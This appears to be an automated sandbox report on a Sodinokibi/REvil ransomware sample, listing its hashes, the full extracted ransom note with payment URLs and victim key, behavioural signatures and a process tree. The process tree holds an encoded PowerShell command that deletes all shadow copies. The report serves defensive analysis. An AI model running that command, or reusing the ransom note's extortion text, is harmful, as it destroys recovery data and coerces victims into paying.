Analysis

  • max time kernel
    160s
  • max time network
    179s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    11/05/2022, 15:54

General

  • Target
    56e7073e0f7b2cacaa30f77eaee4b036b480b1992ade5e55bfa2ff062eda4d8a.exe
  • Size 166KB
  • Sample220511-tb7fysehcl
  • SHA256 56e7073e0f7b2cacaa30f77eaee4b036b480b1992ade5e55bfa2ff062eda4d8a
  • MD5 SHA1 SHA512

Malware Config

Extracted

Path
  • C:\zuv807-readme.txt

  • sodinokibi

Ransom Note
  • ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension zuv807. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2087F68C145E9FF1 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/2087F68C145E9FF1 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: gSLfuspLXuTv7mZ2TAiTWp25nmIzXl1RG6r9qKAdXkdrpGMnvwLQkhI/cLBqpOit xLB3s0ySf10dewHmNuG6/qNtEeQpWHv8IVE/vJj5Ah/KBwx/KjfHrLPeDgduFHGt BNe0ZbvP0FH+mtH/u7YShp/PcjpN4KqxqFfaTdMxGKWHWFWo8LUhHGHp1CguMmsx 7gukI65j77yVot6ElpkZc/NWz/vPg/vSuErlI7CqIX1ZFuQvwjj3XPjwc9I36qiX B5D6kGVrMO9v15yjJzmtce2N8BuBkBXkOHHZ4d+aiTqrVCyBjnlSB1SiJ8mf+Ef9 J1DLVOCE75SshpZ62APKoZQDF1cRW77jRpD3QlwiOHz2Yhr2YKiLpH3CXvaZK2RM cm5NfHdq9ew5xtwZ5AYpuxnGH4wx3Qe34o6rSkjwwP/pxvFjU/evEDb2sj/geXGO +Kan+XgrQN0c+hXc+9AJ49u4OS/ZhtiC8SxfBmdq+IlpVBIK4OerfJP0jDrLUxHh c61otnURUk/J82LwVEaruMt0KDJg1u590nouPqpIHtlzhtbt9OKUAX+4guSQeIsP nA2bRib1BjEIzU36ms3ld1WagF1nMD9P7WQD2TU9nQEoO7IB0iyneCIQlgPzVjBe k9Xywq7FTgNxiUzZMtHe6xXJZ2cSUVWjvbyO1zzXV92Tina7zkgrvX4qmaUGxPvE fQU79NcjOSlUR3fklFXLCzn6CeGBtENdpCD7C2vdAWdfW6QcDM2ew9N3dYDNffa5 xYH1HBgOmwwT5V045QGNBEdqjgz1mhg1DjNFYA2210BHpsYOmZxj2Hm4Yqc0Siwu zQjFxdH+xzfFfzWNEeUveyagREe+o8s2cGbYRNeYP3CTB+Iwi2o7OxRJe6dxkVNt Y4sUCx/cZGTukYvTmrfbjgdJu1OgEe6DftmNPPpvTy/7aGB4QuxxThMNfmDE3qQ0 HSbH7XdyYPoy/oIDuJRVXMKmDfK9sNNwnGIqDS8ylrh4tE9paYZ5uM9UGHvh8EJJ Yn1cEpm2Bn05i7S3nOpqgVQK4xva5EB4qHsowJ0g3Whg8sBHLZy9t3hzd9g2/w5Z HRQQnp2TTTRCL5K+hCGBQ3vxSGNfGuVWVaX9/tDXXw2bd6CSLBtt9ZdM9t4+UrFr Lgrt/gzLp6Ni4w== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs
  • http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2087F68C145E9FF1

  • http://decryptor.cc/2087F68C145E9FF1

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 14 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops desktop.ini file(s) 27 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\56e7073e0f7b2cacaa30f77eaee4b036b480b1992ade5e55bfa2ff062eda4d8a.exe
    "C:\Users\Admin\AppData\Local\Temp\56e7073e0f7b2cacaa30f77eaee4b036b480b1992ade5e55bfa2ff062eda4d8a.exe"
    1⤵
    • Modifies extensions of user files
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1156
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4808
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4776
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2788

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/4808-131-0x000001CF06B20000-0x000001CF06B42000-memory.dmp

          memory/4808-132-0x00007FFE18F50000-0x00007FFE19A11000-memory.dmp